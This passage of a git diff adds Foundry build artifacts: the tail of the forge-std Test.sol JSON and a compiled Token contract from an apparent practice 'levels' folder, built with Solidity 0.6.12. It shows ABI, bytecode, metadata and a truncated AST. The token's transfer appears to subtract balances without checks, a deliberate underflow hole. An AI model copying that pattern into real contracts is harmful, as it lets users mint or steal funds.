StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/Test.sol":"Test"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/Test.sol","id":12028,"exportedSymbols":{"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1014:12","nodes":[{"id":11977,"nodeType":"PragmaDirective","src":"32:31:12","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":11978,"nodeType":"PragmaDirective","src":"65:33:12","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":11980,"nodeType":"ImportDirective","src":"160:38:12","nodes":[],"absolutePath":"lib/forge-std/src/console.sol","file":"./console.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":23738,"symbolAliases":[{"foreign":{"id":11979,"name":"console","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23737,"src":"168:7:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11982,"nodeType":"ImportDirective","src":"199:40:12","nodes":[],"absolutePath":"lib/forge-std/src/console2.sol","file":"./console2.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":31863,"symbolAliases":[{"foreign":{"id":11981,"name":"console2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31862,"src":"207:8:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11984,"nodeType":"ImportDirective","src":"240:46:12","nodes":[],"absolutePath":"lib/forge-std/src/safeconsole.sol","file":"./safeconsole.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":46588,"symbolAliases":[{"foreign":{"id":11983,"name":"safeconsole","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46587,"src":"248:11:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11986,"nodeType":"ImportDirective","src":"287:50:12","nodes":[],"absolutePath":"lib/forge-std/src/StdAssertions.sol","file":"./StdAssertions.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":2696,"symbolAliases":[{"foreign":{"id":11985,"name":"StdAssertions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2695,"src":"295:13:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11988,"nodeType":"ImportDirective","src":"338:42:12","nodes":[],"absolutePath":"lib/forge-std/src/StdChains.sol","file":"./StdChains.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":3478,"symbolAliases":[{"foreign":{"id":11987,"name":"StdChains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3477,"src":"346:9:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11990,"nodeType":"ImportDirective","src":"381:42:12","nodes":[],"absolutePath":"lib/forge-std/src/StdCheats.sol","file":"./StdCheats.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":6331,"symbolAliases":[{"foreign":{"id":11989,"name":"StdCheats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6330,"src":"389:9:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11992,"nodeType":"ImportDirective","src":"424:40:12","nodes":[],"absolutePath":"lib/forge-std/src/StdError.sol","file":"./StdError.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":6397,"symbolAliases":[{"foreign":{"id":11991,"name":"stdError","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6396,"src":"432:8:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11994,"nodeType":"ImportDirective","src":"465:48:12","nodes":[],"absolutePath":"lib/forge-std/src/StdInvariant.sol","file":"./StdInvariant.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":6656,"symbolAliases":[{"foreign":{"id":11993,"name":"StdInvariant","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6655,"src":"473:12:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11996,"nodeType":"ImportDirective","src":"514:38:12","nodes":[],"absolutePath":"lib/forge-std/src/StdJson.sol","file":"./StdJson.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":7248,"symbolAliases":[{"foreign":{"id":11995,"name":"stdJson","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7247,"src":"522:7:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11998,"nodeType":"ImportDirective","src":"553:38:12","nodes":[],"absolutePath":"lib/forge-std/src/StdMath.sol","file":"./StdMath.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":7390,"symbolAliases":[{"foreign":{"id":11997,"name":"stdMath","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7389,"src":"561:7:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12001,"nodeType":"ImportDirective","src":"592:56:12","nodes":[],"absolutePath":"lib/forge-std/src/StdStorage.sol","file":"./StdStorage.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":9387,"symbolAliases":[{"foreign":{"id":11999,"name":"StdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7427,"src":"600:10:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":12000,"name":"stdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9386,"src":"612:10:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12003,"nodeType":"ImportDirective","src":"649:40:12","nodes":[],"absolutePath":"lib/forge-std/src/StdStyle.sol","file":"./StdStyle.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":10598,"symbolAliases":[{"foreign":{"id":12002,"name":"StdStyle","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10597,"src":"657:8:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12005,"nodeType":"ImportDirective","src":"690:38:12","nodes":[],"absolutePath":"lib/forge-std/src/StdToml.sol","file":"./StdToml.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":11190,"symbolAliases":[{"foreign":{"id":12004,"name":"stdToml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11189,"src":"698:7:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12007,"nodeType":"ImportDirective","src":"729:40:12","nodes":[],"absolutePath":"lib/forge-std/src/StdUtils.sol","file":"./StdUtils.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":11976,"symbolAliases":[{"foreign":{"id":12006,"name":"StdUtils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11975,"src":"737:8:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12009,"nodeType":"ImportDirective","src":"770:28:12","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":12008,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"778:2:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12011,"nodeType":"ImportDirective","src":"820:36:12","nodes":[],"absolutePath":"lib/forge-std/src/Base.sol","file":"./Base.sol","nameLocation":"-1:-1:-1","scope":12028,"sourceUnit":75,"symbolAliases":[{"foreign":{"id":12010,"name":"TestBase","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65,"src":"828:8:12","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":12027,"nodeType":"ContractDefinition","src":"873:172:12","nodes":[{"id":12026,"nodeType":"VariableDeclaration","src":"1016:26:12","nodes":[],"constant":false,"functionSelector":"fa7626d4","mutability":"mutable","name":"IS_TEST","nameLocation":"1028:7:12","scope":12027,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12024,"name":"bool","nodeType":"ElementaryTypeName","src":"1016:4:12","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":{"hexValue":"74727565","id":12025,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1038:4:12","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"visibility":"public"}],"abstract":true,"baseContracts":[{"baseName":{"id":12012,"name":"TestBase","nameLocations":["899:8:12"],"nodeType":"IdentifierPath","referencedDeclaration":65,"src":"899:8:12"},"id":12013,"nodeType":"InheritanceSpecifier","src":"899:8:12"},{"baseName":{"id":12014,"name":"StdAssertions","nameLocations":["909:13:12"],"nodeType":"IdentifierPath","referencedDeclaration":2695,"src":"909:13:12"},"id":12015,"nodeType":"InheritanceSpecifier","src":"909:13:12"},{"baseName":{"id":12016,"name":"StdChains","nameLocations":["924:9:12"],"nodeType":"IdentifierPath","referencedDeclaration":3477,"src":"924:9:12"},"id":12017,"nodeType":"InheritanceSpecifier","src":"924:9:12"},{"baseName":{"id":12018,"name":"StdCheats","nameLocations":["935:9:12"],"nodeType":"IdentifierPath","referencedDeclaration":6330,"src":"935:9:12"},"id":12019,"nodeType":"InheritanceSpecifier","src":"935:9:12"},{"baseName":{"id":12020,"name":"StdInvariant","nameLocations":["946:12:12"],"nodeType":"IdentifierPath","referencedDeclaration":6655,"src":"946:12:12"},"id":12021,"nodeType":"InheritanceSpecifier","src":"946:12:12"},{"baseName":{"id":12022,"name":"StdUtils","nameLocations":["960:8:12"],"nodeType":"IdentifierPath","referencedDeclaration":11975,"src":"960:8:12"},"id":12023,"nodeType":"InheritanceSpecifier","src":"960:8:12"}],"canonicalName":"Test","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[12027,11975,6655,6330,5537,3477,2695,65,62],"name":"Test","nameLocation":"891:4:12","scope":12028,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":12} \ No newline at end of file diff --git a/contracts/out/Token.sol/Token.json b/contracts/out/Token.sol/Token.json new file mode 100644 index 000000000..5328e90e1 --- /dev/null +++ b/contracts/out/Token.sol/Token.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_initialSupply","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"_owner","type":"address","internalType":"address"}],"outputs":[{"name":"balance","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"_to","type":"address","internalType":"address"},{"name":"_value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561001057600080fd5b506040516101df3803806101df8339818101604052602081101561003357600080fd5b5051600181905533600090815260208190526040902055610186806100596000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806318160ddd1461004657806370a0823114610060578063a9059cbb14610093575b600080fd5b61004e6100e0565b60408051918252519081900360200190f35b61004e6004803603602081101561007657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166100e6565b6100cc600480360360408110156100a957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561010e565b604080519115158252519081900360200190f35b60015481565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b336000908152602081905260408082208054849003905573ffffffffffffffffffffffffffffffffffffffff939093168152919091208054909101905560019056fea2646970667358221220ada68e3db0d894ef48a1e942aa736d2226b5be92a53f45d9ab61a2dfd22f4e6564736f6c634300060c0033","sourceMap":"57:557:12:-:0;;;153:111;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;153:111:12;229:11;:28;;;215:10;206:8;:20;;;153:111;206:20;;;;;;:51;57:557;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c806318160ddd1461004657806370a0823114610060578063a9059cbb14610093575b600080fd5b61004e6100e0565b60408051918252519081900360200190f35b61004e6004803603602081101561007657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166100e6565b6100cc600480360360408110156100a957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561010e565b604080519115158252519081900360200190f35b60015481565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b336000908152602081905260408082208054849003905573ffffffffffffffffffffffffffffffffffffffff939093168152919091208054909101905560019056fea2646970667358221220ada68e3db0d894ef48a1e942aa736d2226b5be92a53f45d9ab61a2dfd22f4e6564736f6c634300060c0033","sourceMap":"57:557:12:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;120:26;;;:::i;:::-;;;;;;;;;;;;;;;;499:113;;;;;;;;;;;;;;;;-1:-1:-1;499:113:12;;;;:::i;270:223::-;;;;;;;;;;;;;;;;-1:-1:-1;270:223:12;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;120:26;;;;:::o;499:113::-;589:16;;555:15;589:16;;;;;;;;;;;;499:113::o;270:223::-;366:10;333:4;357:20;;;;;;;402;;;;:30;;;;;;;:20;442:13;;;;;;;;;;:23;;;;;;;-1:-1:-1;;270:223:12:o","linkReferences":{}},"methodIdentifiers":{"balanceOf(address)":"70a08231","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_initialSupply\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"balance\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Token.sol\":\"Token\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Token.sol\":{\"keccak256\":\"0xb02c5ed9b7c8b490f04173a884798b38a748bbe39b645288f07f3e6845b17eaa\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0837b37e39baee1da52f560fbbc808ce9b5b803c51fcba41566c98b8d2ce1e75\",\"dweb:/ipfs/QmbzsgDR24apfizVLaYZwFbNwFWf4YQGsk1g2XpizzTZSy\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"_initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Token.sol":"Token"},"evmVersion":"istanbul","libraries":{}},"sources":{"src/levels/Token.sol":{"keccak256":"0xb02c5ed9b7c8b490f04173a884798b38a748bbe39b645288f07f3e6845b17eaa","urls":["bzz-raw://0837b37e39baee1da52f560fbbc808ce9b5b803c51fcba41566c98b8d2ce1e75","dweb:/ipfs/QmbzsgDR24apfizVLaYZwFbNwFWf4YQGsk1g2XpizzTZSy"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Token.sol","id":1654,"exportedSymbols":{"Token":[1653]},"nodeType":"SourceUnit","src":"32:583:12","nodes":[{"id":1583,"nodeType":"PragmaDirective","src":"32:23:12","nodes":[],"literals":["solidity","^","0.6",".0"]},{"id":1653,"nodeType":"ContractDefinition","src":"57:557:12","nodes":[{"id":1587,"nodeType":"Va